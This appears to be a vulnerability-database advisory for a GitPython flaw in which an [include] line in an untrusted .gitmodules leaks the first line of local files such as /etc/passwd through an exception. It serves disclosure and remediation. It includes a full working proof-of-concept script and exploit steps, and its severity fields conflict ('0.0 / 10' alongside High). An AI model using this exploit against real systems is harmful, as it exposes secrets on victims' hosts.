GHSA-7833-fr7j-v32q CVE-2026-78675 PYSEC-2026-3785
GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.18%
- Chance of exploitation in the next 30 days. Higher than 7.35% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-73 External Control of File Name or Path
- Fix
3.1.59- Upgrade gitpython to this version or later
Description
[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:
(an absolute path bypasses any traversal reasoning entirely; a relative[include] path = /etc/passwd../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| gitpython | < 3.1.59 |
3.1.59 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gitpython PyPI → 3.1.59
- pip
pip install --upgrade "gitpython>=3.1.59"- poetry
poetry add "gitpython>=3.1.59"- uv
uv add "gitpython>=3.1.59"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Local
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.4
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Advisories
Packages
Other links
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q
- github.com/gitpython-developers/GitPython/pull/2211
- github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54d…
- github.com/gitpython-developers/GitPython/releases/tag/3.1.59
- github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml
- vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmod…
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-83vg-56qc-22m7 GitPython validates a submodule's ".git" path only after cloning into it (RCE) | High | Also affects gitpython |
| GHSA-gq48-pqfc-9p58 GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree | Medium | Also affects gitpython |
| GHSA-23mf-xhv8-69c2 GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) | High | Also affects gitpython |
| GHSA-f9j4-qggq-h239 GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution | Critical | Also affects gitpython |
| GHSA-w8jc-g24h-crhw GitPython command wrappers omit unsafe protocol and option checks | High | Also affects gitpython |
| GHSA-m64x-33q8-m5h7 GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines | High | Also affects gitpython |
| GHSA-fx3j-rwgx-fr94 GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name | High | Also affects gitpython |
| GHSA-59cr-6r3x-644w GitPython submodule update path traversal can write outside the repository | Medium | Also affects gitpython |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor